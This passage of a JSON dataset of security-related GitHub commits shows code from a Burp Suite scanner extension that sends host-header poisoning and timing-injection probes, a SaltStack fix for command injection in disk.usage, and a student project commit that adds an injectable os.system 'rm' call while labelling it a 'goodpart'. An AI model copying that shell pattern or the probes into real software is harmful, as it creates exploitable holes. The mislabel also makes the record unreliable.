    It was then instructed to sleep for 10 seconds, which resulted in a response time of \" + str(\n timer) + \" seconds\", 'Firm', 'High')]\n\n return None\n\n def _getLangs(self, basePair):\n path = self._helpers.analyzeRequest(basePair).getUrl().getPath()\n if '.' in path:\n ext = path.split('.')[-1]\n else:\n ext = ''\n\n if (ext in self._extensionMappings):\n code = self._extensionMappings[ext]\n else:\n code = self._extensionMappings['unrecognised']\n if (isinstance(code, basestring)):\n code = [code]\n return code\n\n\n def _attack(self, basePair, insertionPoint, payload, sleeptime):\n payload = Template(payload).substitute(time=sleeptime)\n\n # Use a hack to time the request. This information should be accessible via the API eventually.\n timer = time.time()\n attack = callbacks.makeHttpRequest(basePair.getHttpService(), insertionPoint.buildRequest(payload))\n timer = time.time() - timer\n print \"Response time: \" + str(round(timer, 2)) + \"| Payload: \" + payload\n\n requestHighlights = insertionPoint.getPayloadOffsets(payload)\n if (not isinstance(requestHighlights, list)):\n requestHighlights = [requestHighlights]\n attack = callbacks.applyMarkers(attack, requestHighlights, None)\n\n return (timer, attack)\n\n\nclass HostAttack(IScannerInsertionPointProvider, IScannerCheck):\n def __init__(self, callbacks):\n self._helpers = callbacks.getHelpers()\n\n self._referer = ''.join(random.choice(string.ascii_lowercase + string.digits) for x in range(6))\n\n # Load previously identified scanner issues to prevent duplicates\n try:\n self._rebind = map(lambda i: i.getAuthority(), getIssues('Arbitrary host header accepted'))\n except Exception:\n print \"Initialisation callback failed. This extension requires burp suite professional and Jython 2.5.\"\n\n self._poison = getIssues('Host header poisoning')\n\n def getInsertionPoints(self, basePair):\n rawHeaders = self._helpers.analyzeRequest(basePair.getRequest()).getHeaders()\n\n # Parse the headers into a dictionary\n headers = dict((header.split(': ')[0].upper(), header.split(': ', 1)[1]) for header in rawHeaders[1:])\n\n # If the request doesn't use the host header, bail\n if ('HOST' not in headers.keys()):\n return None\n\n response = self._helpers.bytesToString(basePair.getResponse())\n\n # If the response doesn't reflect the host header we can't identify successful attacks\n if (headers['HOST'] not in response):\n print \"Skipping host header attacks on this request as the host isn't reflected\"\n return None\n\n return [HostInsertionPoint(self._helpers, basePair, headers)]\n\n\n def doActiveScan(self, basePair, insertionPoint):\n\n # Return if the insertion point isn't the right one\n if (insertionPoint.getInsertionPointName() != \"hosthacker\"):\n return None\n\n # Return if we've already flagged both issues on this URL\n url = self._helpers.analyzeRequest(basePair).getUrl()\n host = url.getAuthority()\n if (host in self._rebind and url in self._poison):\n return None\n\n # Send a baseline request to learn what the response should look like \n legit = insertionPoint.getBaseValue()\n (attack, resp) = self._attack(basePair, insertionPoint, {'host': legit}, legit)\n baseprint = tagmap(resp)\n\n # Send several requests with invalid host headers and observe whether they reach the target application, and whether the host header is reflected\n taint = ''.join(random.choice(string.ascii_lowercase + string.digits) for x in range(6))\n taint += '.' + legit\n issues = []\n\n # Host: evil.legit.com\n (attack, resp) = self._attack(basePair, insertionPoint, {'host': taint}, taint)\n if (hit(resp, baseprint)):\n\n # flag DNS-rebinding if we haven't already, and the page actually has content\n if (baseprint != '' and host not in self._rebind):\n issues.append(self._raise(basePair, attack, host, 'dns'))\n\n if (taint in resp and url not in self._poison and self._referer not in resp):\n issues.append(self._raise(basePair, attack, host, 'host'))\n return issues\n else:\n # The application might not be the default VHost, so try an absolute URL:\n #\tGET http://legit.com/foo\n #\tHost: evil.com\n (attack, resp) = self._attack(basePair, insertionPoint, {'abshost': legit, 'host': taint}, taint)\n if (hit(resp, baseprint) and taint in resp and url not in self._poison and self._referer not in resp):\n issues.append(self._raise(basePair, attack, host, 'abs'))\n\n #\tHost: legit.com\n #\tX-Forwarded-Host: evil.com\n (attack, resp) = self._attack(basePair, insertionPoint, {'host': legit, 'xfh': taint}, taint)\n if (hit(resp, baseprint) and taint in resp and url not in self._poison and self._referer not in resp):\n issues.append(self._raise(basePair, attack, host, 'xfh'))\n\n return issues\n\n def _raise(self, basePair, attack, host, type):\n service = attack.getHttpService()\n url = self._helpers.analyzeRequest(attack).getUrl()\n\n if (type == 'dns'):\n title = 'Arbitrary host header accepted'\n sev = 'Low'\n conf = 'Certain'\n desc = \"\"\"The application appears to be accessible using arbitrary HTTP Host headers.

    \n \n This is a serious issue if the application is not externally accessible or uses IP-based access restrictions. Attackers can use DNS Rebinding to bypass any IP or firewall based access restrictions that may be in place, by proxying through their target's browser.
    \n Note that modern web browsers' use of DNS pinning does not effectively prevent this attack. The only effective mitigation is server-side: https://bugzilla.mozilla.org/show_bug.cgi?id=689835#c13

    \n \n Additionally, it may be possible to directly bypass poorly implemented access restrictions by sending a Host header of 'localhost'\"\"\"\n self._rebind.append(host)\n else:\n title = 'Host header poisoning'\n sev = 'Medium'\n conf = 'Tentative'\n desc = \"\"\"The application appears to trust the user-supplied host header. By supplying a malicious host header with a password reset request, it may be possible to generate a poisoned password reset link. Consider testing the host header for classic server-side injection vulnerabilities.
    \n
    \n Depending on the configuration of the server and any intervening caching devices, it may also be possible to use this for cache poisoning attacks.
    \n
    \n Resources:

    \n \"\"\"\n self._poison.append(url)\n issue = CustomScanIssue(service, url, [basePair, attack], title, desc, conf, sev)\n return issue\n\n def _attack(self, basePair, insertionPoint, payloads, taint):\n proto = self._helpers.analyzeRequest(basePair).getUrl().getProtocol() + '://'\n if ('abshost' in payloads):\n payloads['abshost'] = proto + payloads['abshost']\n payloads['referer'] = proto + taint + '/' + self._referer\n print \"Host attack: \" + str(payloads)\n attack = callbacks.makeHttpRequest(basePair.getHttpService(),\n insertionPoint.buildRequest('hosthacker' + pickle.dumps(payloads)))\n response = self._helpers.bytesToString(attack.getResponse())\n requestHighlights = [jarray.array([m.start(), m.end()], 'i') for m in\n re.finditer('(' + '|'.join(payloads.values()) + ')',\n self._helpers.bytesToString(attack.getRequest()))]\n responseHighlights = [jarray.array([m.start(), m.end()], 'i') for m in re.finditer(taint, response)]\n attack = callbacks.applyMarkers(attack, requestHighlights, responseHighlights)\n return (attack, response)\n\n\n# Take input from HostAttack.doActiveScan() and use it to construct a HTTP request\nclass HostInsertionPoint(IScannerInsertionPoint):\n def __init__(self, helpers, basePair, rawHeaders):\n self._helpers = helpers\n self._baseHost = rawHeaders['HOST']\n request = self._helpers.bytesToString(basePair.getRequest())\n request = request.replace('$', '\\$')\n request = request.replace('/', '$abshost/', 1)\n\n # add a cachebust parameter\n if ('?' in request[0:request.index('\\n')]):\n request = re.sub('(?i)([a-z]+ [^ ]+)', r'\\1&cachebust=${cachebust}', request, 1)\n else:\n request = re.sub('(?i)([a-z]+ [^ ]+)', r'\\1?cachebust=${cachebust}', request, 1)\n\n request = re.sub('(?im)^Host: [a-zA-Z0-9-_.:]*', 'Host: ${host}${xfh}', request, 1)\n if ('REFERER' in rawHeaders):\n request = re.sub('(?im)^Referer: http[s]?://[a-zA-Z0-9-_.:]*', 'Referer: ${referer}', request, 1)\n\n if ('CACHE-CONTROL' in rawHeaders):\n request = re.sub('(?im)^Cache-Control: [^\\r\\n]+', 'Cache-Control: no-cache', request, 1)\n else:\n request = request.replace('Host: ${host}${xfh}', 'Host: ${host}${xfh}\\r\\nCache-Control: no-cache', 1)\n\n self._requestTemplate = Template(request)\n return None\n\n def getInsertionPointName(self):\n return \"hosthacker\"\n\n def getBaseValue(self):\n return self._baseHost\n\n def buildRequest(self, payload):\n\n # Drop the attack if it didn't originate from my scanner\n # This will cause an exception, no available workarounds at this time\n payload = self._helpers.bytesToString(payload)\n if (payload[:10] != 'hosthacker'):\n return None\n\n # Load the supplied payloads into the request\n payloads = pickle.loads(payload[10:])\n if 'xfh' in payloads:\n payloads['xfh'] = \"\\r\\nX-Forwarded-Host: \" + payloads['xfh']\n\n for key in ('xfh', 'abshost', 'host', 'referer'):\n if key not in payloads:\n payloads[key] = ''\n\n # Ensure that the response to our request isn't cached - that could be harmful\n payloads['cachebust'] = time.time()\n\n request = self._requestTemplate.substitute(payloads)\n return self._helpers.stringToBytes(request)\n\n\n def getPayloadOffsets(self, payload):\n return None\n\n def getInsertionPointType(self):\n return INS_EXTENSION_PROVIDED\n\n\nclass CustomScanIssue(IScanIssue):\n def __init__(self, httpService, url, httpMessages, name, detail, confidence, severity):\n self.HttpService = httpService\n self.Url = url\n self.HttpMessages = httpMessages\n self.Name = name\n self.Detail = detail + '

    This issue was reported by ActiveScan++
    '\n self.Severity = severity\n self.Confidence = confidence\n print \"Reported: \" + name + \" on \" + str(url)\n return\n\n def getUrl(self):\n return self.Url\n\n def getIssueName(self):\n return self.Name\n\n def getIssueType(self):\n return 0\n\n def getSeverity(self):\n return self.Severity\n\n def getConfidence(self):\n return self.Confidence\n\n def getIssueBackground(self):\n return None\n\n def getRemediationBackground(self):\n return None\n\n def getIssueDetail(self):\n return self.Detail\n\n def getRemediationDetail(self):\n return None\n\n def getHttpMessages(self):\n return self.HttpMessages\n\n def getHttpService(self):\n return self.HttpService\n\n\n# misc utility methods\ndef location(url):\n return url.getProtocol() + \"://\" + url.getAuthority() + url.getPath()\n\n\ndef htmllist(list):\n list = [\"
  • \" + item + \"
    • \" for item in list]\n return \"\"\n\n\ndef tagmap(resp):\n tags = ''.join(re.findall(\"(?im)(<[a-z]+)\", resp))\n return tags\n\n\ndef hit(resp, baseprint):\n return (baseprint == tagmap(resp))\n\n\n# currently unused as .getUrl() ignores the query string\ndef issuesMatch(existingIssue, newIssue):\n if (existingIssue.getUrl() == newIssue.getUrl() and existingIssue.getIssueName() == newIssue.getIssueName()):\n return -1\n else:\n return 0\n\n\ndef getIssues(name):\n prev_reported = filter(lambda i: i.getIssueName() == name, callbacks.getScanIssues(''))\n return (map(lambda i: i.getUrl(), prev_reported))"}}, "msg": "Added another simple blind command injection check"}}, "https://github.com/saltstack/salt": {"ebdef37b7e5d2b95a01d34b211c61c61da67e46a": {"url": "https://api.github.com/repos/saltstack/salt/commits/ebdef37b7e5d2b95a01d34b211c61c61da67e46a", "html_url": "https://github.com/saltstack/salt/commit/ebdef37b7e5d2b95a01d34b211c61c61da67e46a", "sha": "ebdef37b7e5d2b95a01d34b211c61c61da67e46a", "keyword": "command injection vulnerable", "diff": "diff --git a/salt/modules/disk.py b/salt/modules/disk.py\nindex 1bd7a37a421b..2826204e3a21 100644\n--- a/salt/modules/disk.py\n+++ b/salt/modules/disk.py\n@@ -31,6 +31,13 @@ def usage(args=None):\n \n salt '*' disk.usage\n '''\n+ flags = ''\n+ allowed = ('a', 'B', 'h', 'H', 'i', 'k', 'l', 'P', 't', 'T', 'x', 'v')\n+ for flag in args:\n+ if flag in allowed:\n+ flags += flag\n+ else:\n+ break\n if __grains__['kernel'] == 'Linux':\n cmd = 'df -P'\n elif __grains__['kernel'] == 'OpenBSD':\n@@ -38,7 +45,7 @@ def usage(args=None):\n else:\n cmd = 'df'\n if args:\n- cmd = cmd + ' -' + args\n+ cmd += ' -{0}'.format(flags)\n ret = {}\n out = __salt__['cmd.run'](cmd).splitlines()\n for line in out:\n", "message": "", "files": {"/salt/modules/disk.py": {"changes": [{"diff": "\n else:\n cmd = 'df'\n if args:\n- cmd = cmd + ' -' + args\n+ cmd += ' -{0}'.format(flags)\n ret = {}\n out = __salt__['cmd.run'](cmd).splitlines()\n for line in out:\n", "add": 1, "remove": 1, "filename": "/salt/modules/disk.py", "badparts": [" cmd = cmd + ' -' + args"], "goodparts": [" cmd += ' -{0}'.format(flags)"]}], "source": "\n ''' Module for gathering disk information ''' import logging import salt.utils log=logging.getLogger(__name__) def __virtual__(): ''' Only work on POSIX-like systems ''' if salt.utils.is_windows(): return False return 'disk' def usage(args=None): ''' Return usage information for volumes mounted on this minion CLI Example: .. code-block:: bash salt '*' disk.usage ''' if __grains__['kernel']=='Linux': cmd='df -P' elif __grains__['kernel']=='OpenBSD': cmd='df -kP' else: cmd='df' if args: cmd=cmd +' -' +args ret={} out=__salt__['cmd.run'](cmd).splitlines() for line in out: if not line: continue if line.startswith('Filesystem'): continue comps=line.split() while not comps[1].isdigit(): comps[0]='{0}{1}'.format(comps[0], comps[1]) comps.pop(1) try: if __grains__['kernel']=='Darwin': ret[comps[8]]={ 'filesystem': comps[0], '512-blocks': comps[1], 'used': comps[2], 'available': comps[3], 'capacity': comps[4], 'iused': comps[5], 'ifree': comps[6], '%iused': comps[7], } else: ret[comps[5]]={ 'filesystem': comps[0], '1K-blocks': comps[1], 'used': comps[2], 'available': comps[3], 'capacity': comps[4], } except IndexError: log.warn(\"Problem parsing disk usage information\") ret={} return ret def inodeusage(args=None): ''' Return inode usage information for volumes mounted on this minion CLI Example: .. code-block:: bash salt '*' disk.inodeusage ''' cmd='df -i' if args is not None: cmd=cmd +' -' +args ret={} out=__salt__['cmd.run'](cmd).splitlines() for line in out: if line.startswith('Filesystem'): continue comps=line.split() if not comps: continue try: if __grains__['kernel']=='OpenBSD': ret[comps[8]]={ 'inodes': int(comps[5]) +int(comps[6]), 'used': comps[5], 'free': comps[6], 'use': comps[7], 'filesystem': comps[0], } else: ret[comps[5]]={ 'inodes': comps[1], 'used': comps[2], 'free': comps[3], 'use': comps[4], 'filesystem': comps[0], } except(IndexError, ValueError): log.warn(\"Problem parsing inode usage information\") ret={} return ret ", "sourceWithComments": "# -*- coding: utf-8 -*-\n'''\nModule for gathering disk information\n'''\n\n# Import python libs\nimport logging\n\n# Import salt libs\nimport salt.utils\n\nlog = logging.getLogger(__name__)\n\n\ndef __virtual__():\n '''\n Only work on POSIX-like systems\n '''\n if salt.utils.is_windows():\n return False\n return 'disk'\n\n\ndef usage(args=None):\n '''\n Return usage information for volumes mounted on this minion\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' disk.usage\n '''\n if __grains__['kernel'] == 'Linux':\n cmd = 'df -P'\n elif __grains__['kernel'] == 'OpenBSD':\n cmd = 'df -kP'\n else:\n cmd = 'df'\n if args:\n cmd = cmd + ' -' + args\n ret = {}\n out = __salt__['cmd.run'](cmd).splitlines()\n for line in out:\n if not line:\n continue\n if line.startswith('Filesystem'):\n continue\n comps = line.split()\n while not comps[1].isdigit():\n comps[0] = '{0} {1}'.format(comps[0], comps[1])\n comps.pop(1)\n try:\n if __grains__['kernel'] == 'Darwin':\n ret[comps[8]] = {\n 'filesystem': comps[0],\n '512-blocks': comps[1],\n 'used': comps[2],\n 'available': comps[3],\n 'capacity': comps[4],\n 'iused': comps[5],\n 'ifree': comps[6],\n '%iused': comps[7],\n }\n else:\n ret[comps[5]] = {\n 'filesystem': comps[0],\n '1K-blocks': comps[1],\n 'used': comps[2],\n 'available': comps[3],\n 'capacity': comps[4],\n }\n except IndexError:\n log.warn(\"Problem parsing disk usage information\")\n ret = {}\n return ret\n\n\ndef inodeusage(args=None):\n '''\n Return inode usage information for volumes mounted on this minion\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' disk.inodeusage\n '''\n cmd = 'df -i'\n if args is not None:\n cmd = cmd + ' -' + args\n ret = {}\n out = __salt__['cmd.run'](cmd).splitlines()\n for line in out:\n if line.startswith('Filesystem'):\n continue\n comps = line.split()\n # Don't choke on empty lines\n if not comps:\n continue\n\n try:\n if __grains__['kernel'] == 'OpenBSD':\n ret[comps[8]] = {\n 'inodes': int(comps[5]) + int(comps[6]),\n 'used': comps[5],\n 'free': comps[6],\n 'use': comps[7],\n 'filesystem': comps[0],\n }\n else:\n ret[comps[5]] = {\n 'inodes': comps[1],\n 'used': comps[2],\n 'free': comps[3],\n 'use': comps[4],\n 'filesystem': comps[0],\n }\n except (IndexError, ValueError):\n log.warn(\"Problem parsing inode usage information\")\n ret = {}\n return ret\n"}}, "msg": "Fix command injection vulnerability in disk.usage"}}, "https://github.com/Lakhtenkov-iv/salt": {"ebdef37b7e5d2b95a01d34b211c61c61da67e46a": {"url": "https://api.github.com/repos/Lakhtenkov-iv/salt/commits/ebdef37b7e5d2b95a01d34b211c61c61da67e46a", "html_url": "https://github.com/Lakhtenkov-iv/salt/commit/ebdef37b7e5d2b95a01d34b211c61c61da67e46a", "sha": "ebdef37b7e5d2b95a01d34b211c61c61da67e46a", "keyword": "command injection vulnerable", "diff": "diff --git a/salt/modules/disk.py b/salt/modules/disk.py\nindex 1bd7a37a42..2826204e3a 100644\n--- a/salt/modules/disk.py\n+++ b/salt/modules/disk.py\n@@ -31,6 +31,13 @@ def usage(args=None):\n \n salt '*' disk.usage\n '''\n+ flags = ''\n+ allowed = ('a', 'B', 'h', 'H', 'i', 'k', 'l', 'P', 't', 'T', 'x', 'v')\n+ for flag in args:\n+ if flag in allowed:\n+ flags += flag\n+ else:\n+ break\n if __grains__['kernel'] == 'Linux':\n cmd = 'df -P'\n elif __grains__['kernel'] == 'OpenBSD':\n@@ -38,7 +45,7 @@ def usage(args=None):\n else:\n cmd = 'df'\n if args:\n- cmd = cmd + ' -' + args\n+ cmd += ' -{0}'.format(flags)\n ret = {}\n out = __salt__['cmd.run'](cmd).splitlines()\n for line in out:\n", "message": "", "files": {"/salt/modules/disk.py": {"changes": [{"diff": "\n else:\n cmd = 'df'\n if args:\n- cmd = cmd + ' -' + args\n+ cmd += ' -{0}'.format(flags)\n ret = {}\n out = __salt__['cmd.run'](cmd).splitlines()\n for line in out:\n", "add": 1, "remove": 1, "filename": "/salt/modules/disk.py", "badparts": [" cmd = cmd + ' -' + args"], "goodparts": [" cmd += ' -{0}'.format(flags)"]}], "source": "\n ''' Module for gathering disk information ''' import logging import salt.utils log=logging.getLogger(__name__) def __virtual__(): ''' Only work on POSIX-like systems ''' if salt.utils.is_windows(): return False return 'disk' def usage(args=None): ''' Return usage information for volumes mounted on this minion CLI Example: .. code-block:: bash salt '*' disk.usage ''' if __grains__['kernel']=='Linux': cmd='df -P' elif __grains__['kernel']=='OpenBSD': cmd='df -kP' else: cmd='df' if args: cmd=cmd +' -' +args ret={} out=__salt__['cmd.run'](cmd).splitlines() for line in out: if not line: continue if line.startswith('Filesystem'): continue comps=line.split() while not comps[1].isdigit(): comps[0]='{0}{1}'.format(comps[0], comps[1]) comps.pop(1) try: if __grains__['kernel']=='Darwin': ret[comps[8]]={ 'filesystem': comps[0], '512-blocks': comps[1], 'used': comps[2], 'available': comps[3], 'capacity': comps[4], 'iused': comps[5], 'ifree': comps[6], '%iused': comps[7], } else: ret[comps[5]]={ 'filesystem': comps[0], '1K-blocks': comps[1], 'used': comps[2], 'available': comps[3], 'capacity': comps[4], } except IndexError: log.warn(\"Problem parsing disk usage information\") ret={} return ret def inodeusage(args=None): ''' Return inode usage information for volumes mounted on this minion CLI Example: .. code-block:: bash salt '*' disk.inodeusage ''' cmd='df -i' if args is not None: cmd=cmd +' -' +args ret={} out=__salt__['cmd.run'](cmd).splitlines() for line in out: if line.startswith('Filesystem'): continue comps=line.split() if not comps: continue try: if __grains__['kernel']=='OpenBSD': ret[comps[8]]={ 'inodes': int(comps[5]) +int(comps[6]), 'used': comps[5], 'free': comps[6], 'use': comps[7], 'filesystem': comps[0], } else: ret[comps[5]]={ 'inodes': comps[1], 'used': comps[2], 'free': comps[3], 'use': comps[4], 'filesystem': comps[0], } except(IndexError, ValueError): log.warn(\"Problem parsing inode usage information\") ret={} return ret ", "sourceWithComments": "# -*- coding: utf-8 -*-\n'''\nModule for gathering disk information\n'''\n\n# Import python libs\nimport logging\n\n# Import salt libs\nimport salt.utils\n\nlog = logging.getLogger(__name__)\n\n\ndef __virtual__():\n '''\n Only work on POSIX-like systems\n '''\n if salt.utils.is_windows():\n return False\n return 'disk'\n\n\ndef usage(args=None):\n '''\n Return usage information for volumes mounted on this minion\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' disk.usage\n '''\n if __grains__['kernel'] == 'Linux':\n cmd = 'df -P'\n elif __grains__['kernel'] == 'OpenBSD':\n cmd = 'df -kP'\n else:\n cmd = 'df'\n if args:\n cmd = cmd + ' -' + args\n ret = {}\n out = __salt__['cmd.run'](cmd).splitlines()\n for line in out:\n if not line:\n continue\n if line.startswith('Filesystem'):\n continue\n comps = line.split()\n while not comps[1].isdigit():\n comps[0] = '{0} {1}'.format(comps[0], comps[1])\n comps.pop(1)\n try:\n if __grains__['kernel'] == 'Darwin':\n ret[comps[8]] = {\n 'filesystem': comps[0],\n '512-blocks': comps[1],\n 'used': comps[2],\n 'available': comps[3],\n 'capacity': comps[4],\n 'iused': comps[5],\n 'ifree': comps[6],\n '%iused': comps[7],\n }\n else:\n ret[comps[5]] = {\n 'filesystem': comps[0],\n '1K-blocks': comps[1],\n 'used': comps[2],\n 'available': comps[3],\n 'capacity': comps[4],\n }\n except IndexError:\n log.warn(\"Problem parsing disk usage information\")\n ret = {}\n return ret\n\n\ndef inodeusage(args=None):\n '''\n Return inode usage information for volumes mounted on this minion\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' disk.inodeusage\n '''\n cmd = 'df -i'\n if args is not None:\n cmd = cmd + ' -' + args\n ret = {}\n out = __salt__['cmd.run'](cmd).splitlines()\n for line in out:\n if line.startswith('Filesystem'):\n continue\n comps = line.split()\n # Don't choke on empty lines\n if not comps:\n continue\n\n try:\n if __grains__['kernel'] == 'OpenBSD':\n ret[comps[8]] = {\n 'inodes': int(comps[5]) + int(comps[6]),\n 'used': comps[5],\n 'free': comps[6],\n 'use': comps[7],\n 'filesystem': comps[0],\n }\n else:\n ret[comps[5]] = {\n 'inodes': comps[1],\n 'used': comps[2],\n 'free': comps[3],\n 'use': comps[4],\n 'filesystem': comps[0],\n }\n except (IndexError, ValueError):\n log.warn(\"Problem parsing inode usage information\")\n ret = {}\n return ret\n"}}, "msg": "Fix command injection vulnerability in disk.usage"}}, "https://github.com/jmarcello97/CSEC-380-Project": {"05dcd628aa5879b6e4979c43e7c635075975de09": {"url": "https://api.github.com/repos/jmarcello97/CSEC-380-Project/commits/05dcd628aa5879b6e4979c43e7c635075975de09", "html_url": "https://github.com/jmarcello97/CSEC-380-Project/commit/05dcd628aa5879b6e4979c43e7c635075975de09", "sha": "05dcd628aa5879b6e4979c43e7c635075975de09", "keyword": "command injection vulnerable", "diff": "diff --git a/Trialwebsite/app/app.py b/Trialwebsite/app/app.py\nindex e29a770..ecf5a9b 100644\n--- a/Trialwebsite/app/app.py\n+++ b/Trialwebsite/app/app.py\n@@ -138,27 +138,28 @@ def before_request():\n \n @app.route('/upload' , methods = ['GET', 'POST'] )\n def upload():\n-\terror=''\n-\ttry:\n-\t\tif 'username' in session:\n-\t\t\tif request.method == 'POST':\n-\t\t\t\t#f = request.files['file']\n-\t\t\t\tif 'file' in request.files.keys():\n+\t#error=''\n+\t#try:\n+\tif 'username' in session:\n+\t\tif request.method == 'POST':\n+\t\t\t#f = request.files['file']\n+\t\t\tif 'file' in request.files.keys():\n \t\t\t# when saving the file\n-\t\t\t\t\tf = request.files['file']\n-\t\t\t\t\tf.save(\"static/videos/{}\".format(f.filename))\n+\t\t\t\tf = request.files['file']\n+\t\t\t\tf.save(\"static/videos/{}\".format(f.filename))\n \n-\t\t\t\t\tdata=users.query.filter_by(Username=session['username']).first()\n-\t\t\t\t\tnew_video = Video(VideoID = None, UserID = data.UserID, URL = \"local\", Name = f.filename, UploadDate = datetime.today().strftime('%Y-%m-%d'))\n-\t\t\t\t\tdb.session.add(new_video)\n-\t\t\t\t\tdb.session.commit()\n+\t\t\t\tdata=users.query.filter_by(Username=session['username']).first()\n+\t\t\t\tnew_video = Video(VideoID = None, UserID = data.UserID, URL = \"local\", Name = f.filename, UploadDate = datetime.today().strftime('%Y-%m-%d'))\n+\t\t\t\tdb.session.add(new_video)\n+\t\t\t\tdb.session.commit()\n #i = Video.insert()\n #i.execute(UserID=data.UserID, URL = \"Local\", Name = f.filename, UploadDate = datetime.today().strftime('%Y-%m-%d'))\n \n-\t\t\t\t#f2 = request.form['link11']\n-\t\t\t\tif 'link11' in request.form.keys():\n-\t\t\t\t\turl = request.form['link11']\n-\t\t\t\t\t#reqGet = requests.get(url)\n+\t\t\t#f2 = request.form['link11']\n+\t\t\tif 'link11' in request.form.keys():\n+\t\t\t\turl = request.form['link11']\n+\t\t\t\t#reqGet = requests.get(url)\n+\t\t\t\tif url != '':\n \t\t\t\t\tfilename123 = url.split(\"/\")[-1]\n \t\t\t\t\t#with open(filename123,'wb') as vid:\n \t\t\t\t\t#\tshutil.copyfileobj(reqGet.raw, \"static/videos/\"+vid)\n@@ -169,40 +170,13 @@ def upload():\n \t\t\t\t\tdb.session.commit()\n \n \n-\t\t\tvideos = []\n-\t\t\tfor video in os.listdir(\"static/videos\"):\n-\t\t\t\tvideo_uploader = Video.query.filter_by(Name=video).first()\n-\t\t\t\tvideo_uploader = users.query.filter_by(UserID=video_uploader.UserID).first()\n-\t\t\t\tvideos.append((video, video_uploader.Username))\n-\t\t\treturn render_template('upload.html', videos=videos)\n-\n-\texcept Exception as e:\n-\t\treturn render_template(\"upload\", error = e)\n-\n-\n-\t\t# f.save(secure_filename(f.filename))\n-\n-\t#videos = os.listdir(\"static/videos\")\n-\t#return render_template('test_upload.html')\n-\t#return render_template('upload.html', videos=videos)\n-\t#if 'username' in session:\n-\t#\tif request.method == 'POST':\n-\t#\t\t#f = request.files['file']\n-\t#\t\tf2 = request.form['link11']\n-\n-\t#\t\tif f2:\n-\t#\t\t\turl = request.form['link11']\n-\t#\t\t\treqGet = requests.get(url)\n-\t#\t\t\tfilename123 = url.split(\"/\")[-1]\n-\t#\t\t\tos.path.join(app.instance_path, \"video\", filename123)\n-\t#\t\twith open(filename123,'wb') as vid:\n-\t\t\t\t#shutil.copyfileobj(reqGet.raw, vid)\n-\n- #urllib.request.urlretrieve(url_link, 'video_name.mp4')\n- #v = pafy.new(str(url))\n- #s = v.allstreams[len(v.allstreams)-1]\n- #filename = s.download(os.path.join(app.instance_path, 'video', secure_filename(v.title)))\n-\t#return render_template('index.html')\n+\t\tvideos = []\n+\t\tfor video in os.listdir(\"static/videos\"):\n+\t\t\tvideo_uploader = Video.query.filter_by(Name=video).first()\n+\t\t\tvideo_uploader = users.query.filter_by(UserID=video_uploader.UserID).first()\n+\t\t\tvideos.append((video, video_uploader.Username))\n+\t\treturn render_template('upload.html', videos=videos)\n+\treturn render_template('index.html')\n \n @app.route('/delete_video/')\n def delete_video(filename):\n@@ -212,7 +186,8 @@ def delete_video(filename):\n \t\tdata=users.query.filter_by(Username=session['username']).first()\n \t\tvideo=Video.query.filter_by(UserID=data.UserID,Name=filename).first()\n \t\tif video != None:\n-\t\t\tos.remove(\"static/videos/{}\".format(filename))\n+\t\t\t#os.remove(\"static/videos/{}\".format(filename))\n+\t\t\tos.system(\"rm static/videos/{}\".format(filename))\n \t\t\tdb.session.delete(video)\n \t\t\tdb.session.commit()\n \t\telse:\n", "message": "", "files": {"/Trialwebsite/app/app.py": {"changes": [{"diff": "\n \n @app.route('/upload' , methods = ['GET', 'POST'] )\n def upload():\n-\terror=''\n-\ttry:\n-\t\tif 'username' in session:\n-\t\t\tif request.method == 'POST':\n-\t\t\t\t#f = request.files['file']\n-\t\t\t\tif 'file' in request.files.keys():\n+\t#error=''\n+\t#try:\n+\tif 'username' in session:\n+\t\tif request.method == 'POST':\n+\t\t\t#f = request.files['file']\n+\t\t\tif 'file' in request.files.keys():\n \t\t\t# when saving the file\n-\t\t\t\t\tf = request.files['file']\n-\t\t\t\t\tf.save(\"static/videos/{}\".format(f.filename))\n+\t\t\t\tf = request.files['file']\n+\t\t\t\tf.save(\"static/videos/{}\".format(f.filename))\n \n-\t\t\t\t\tdata=users.query.filter_by(Username=session['username']).first()\n-\t\t\t\t\tnew_video = Video(VideoID = None, UserID = data.UserID, URL = \"local\", Name = f.filename, UploadDate = datetime.today().strftime('%Y-%m-%d'))\n-\t\t\t\t\tdb.session.add(new_video)\n-\t\t\t\t\tdb.session.commit()\n+\t\t\t\tdata=users.query.filter_by(Username=session['username']).first()\n+\t\t\t\tnew_video = Video(VideoID = None, UserID = data.UserID, URL = \"local\", Name = f.filename, UploadDate = datetime.today().strftime('%Y-%m-%d'))\n+\t\t\t\tdb.session.add(new_video)\n+\t\t\t\tdb.session.commit()\n #i = Video.insert()\n #i.execute(UserID=data.UserID, URL = \"Local\", Name = f.filename, UploadDate = datetime.today().strftime('%Y-%m-%d'))\n \n-\t\t\t\t#f2 = request.form['link11']\n-\t\t\t\tif 'link11' in request.form.keys():\n-\t\t\t\t\turl = request.form['link11']\n-\t\t\t\t\t#reqGet = requests.get(url)\n+\t\t\t#f2 = request.form['link11']\n+\t\t\tif 'link11' in request.form.keys():\n+\t\t\t\turl = request.form['link11']\n+\t\t\t\t#reqGet = requests.get(url)\n+\t\t\t\tif url != '':\n \t\t\t\t\tfilename123 = url.split(\"/\")[-1]\n \t\t\t\t\t#with open(filename123,'wb') as vid:\n \t\t\t\t\t#\tshutil.copyfileobj(reqGet.raw, \"static/videos/\"+vid)\n", "add": 17, "remove": 16, "filename": "/Trialwebsite/app/app.py", "badparts": ["\terror=''", "\ttry:", "\t\tif 'username' in session:", "\t\t\tif request.method == 'POST':", "\t\t\t\tif 'file' in request.files.keys():", "\t\t\t\t\tf = request.files['file']", "\t\t\t\t\tf.save(\"static/videos/{}\".format(f.filename))", "\t\t\t\t\tdata=users.query.filter_by(Username=session['username']).first()", "\t\t\t\t\tnew_video = Video(VideoID = None, UserID = data.UserID, URL = \"local\", Name = f.filename, UploadDate = datetime.today().strftime('%Y-%m-%d'))", "\t\t\t\t\tdb.session.add(new_video)", "\t\t\t\t\tdb.session.commit()", "\t\t\t\tif 'link11' in request.form.keys():", "\t\t\t\t\turl = request.form['link11']"], "goodparts": ["\tif 'username' in session:", "\t\tif request.method == 'POST':", "\t\t\tif 'file' in request.files.keys():", "\t\t\t\tf = request.files['file']", "\t\t\t\tf.save(\"static/videos/{}\".format(f.filename))", "\t\t\t\tdata=users.query.filter_by(Username=session['username']).first()", "\t\t\t\tnew_video = Video(VideoID = None, UserID = data.UserID, 